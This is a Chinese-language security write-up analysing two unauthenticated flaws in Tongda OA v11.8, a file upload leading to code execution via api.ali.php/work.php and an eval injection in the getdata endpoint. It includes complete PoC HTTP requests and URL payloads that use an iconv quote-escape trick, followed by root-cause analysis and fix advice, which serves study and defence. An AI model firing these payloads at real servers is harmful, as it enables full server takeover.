通达 v11.8前台文件上传&命令执行漏洞利用分析
字数 1864 2025-08-19 12:41:40
通达OA v11.8前台文件上传与命令执行漏洞分析
漏洞概述
通达OA v11.8存在两个严重的安全漏洞:
- 前台文件上传漏洞(通过api.ali.php)
- 前台任意命令执行漏洞(通过getdata接口)
这两个漏洞均无需身份验证即可利用,攻击者可以上传恶意文件并执行任意代码,完全控制服务器。
漏洞一:api.ali.php任意文件上传
影响版本
通达OA v11.8
漏洞原理
该漏洞利用链包含两个关键部分:
- 通过api.ali.php上传JSON文件(绕过文件类型限制)
- 通过work.php解析JSON文件并执行其中的PHP代码
漏洞复现步骤
1. 上传JSON文件
发送以下POST请求上传包含恶意代码的JSON文件:
POST /mobile/api/api.ali.php HTTP/1.1
Host: [target]
User-Agent: Go-http-client/1.1
Content-Length: 422
Content-Type: multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae
Accept-Encoding: gzip
--502f67681799b07e4de6b503655f5cae
Content-Disposition: form-data; name="file"; filename="fb6790f4.json"
Content-Type: application/octet-stream
{"modular":"AllVariable","a":"ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIGVjaG8gdnVsbl90ZXN0Oz8+Jyk7","dataAnalysis":"{\"a\":\"錦',eval(base64_decode($BackData[a])));/*\"}"}
--502f67681799b07e4de6b503655f5cae--
其中:
a参数包含base64编码的PHP代码(file_put_contents('../fb6790f4.php','<?php echo vuln_test;?>');)dataAnalysis包含利用iconv编码转换漏洞的payload
2. 触发文件写入
发送GET请求触发文件写入:
/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4
成功后在webroot目录下写入fb6790f4.php文件。
技术分析
文件上传部分
- 文件上传功能位于
mobile/api/api.ali.php - 包含
conn.php、api.api.class.php、utility_file.php,无权限验证 utility_file.php中的upload()函数处理上传:- 使用
filename_valid()验证文件名 - 限制php、php3、php5等危险扩展
- 最终文件保存在
attach/approve_center/[年月]目录下 - 文件名格式:随机数字+原始文件名
- 使用
文件读取与代码执行
- 触发点在
/inc/package/work.php - 无鉴权操作
- 关键漏洞点:
- 路径遍历:
id参数未过滤../ - 通配符匹配:使用
>>>>>>>>>>匹配随机生成的9位数文件名 file_get_contents()特性:只要最后路径正确,前面可以任意跨目录eval()执行:通过AllVariableBusinessProcessing类的backDataAnalysis()方法执行代码
- 路径遍历:
代码执行绕过技术
- 利用
iconv编码转换漏洞:- "錦"的UTF-8编码是
\xE9\x8C\xA6,GBK编码是\xB0\xA1 - 转换后
\xB0\xA1与\组合成新字符,使单引号逃逸
- "錦"的UTF-8编码是
- 构造特殊JSON格式闭合语句:
$b = array( 'a'=>'b',eval(base64_decode($c)));/*', );
漏洞二:getdata任意命令执行
漏洞位置
/general/appbuilder/web/portal/gateway/getdata
漏洞复现Payload
/general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyB2dWxuX3Rlc3Q7%22)))%3B/*&id=19&module=Carouselimage
其中ZWNobyB2dWxuX3Rlc3Q7解码为echo vuln_test;
技术分析
权限绕过
web/index.php检查config["params"]["LOGIN_UID"],未登录时为""/portal/gateway/路径下只有/potal/gateway/saveportal需要鉴权
漏洞链
- 请求路由到
modules/portal/controllers/GatewayController.php - 传入
module=Carouselimage,执行$component->GetDate() - 通过
id=19查询数据库,使$comtype=1 - 进入
data_analysis()方法,最终执行free_components/AppCarouselimage.php#get_data() activeTab参数未经处理直接传入eval()
代码执行原理
- 同样利用
iconv编码转换漏洞 - 构造特殊字符串闭合单引号并执行任意代码
修复建议
- 对所有上传文件进行严格的内容类型检查
- 对用户输入进行严格的过滤,特别是路径遍历字符和特殊符号
- 对
eval()等危险函数的使用进行严格限制 - 对前台接口增加身份验证
- 升级到最新版本并应用所有安全补丁
总结
这两个漏洞展示了通达OA系统中存在的严重安全问题:
- 文件上传功能缺乏足够的安全检查
- 路径遍历漏洞导致任意文件读取
- 不安全的反序列化和
eval()使用 - 前台接口缺乏必要的权限验证
攻击者可以利用这些漏洞组合实现无需身份验证的远程代码执行,完全控制服务器。建议用户立即检查系统版本并采取防护措施。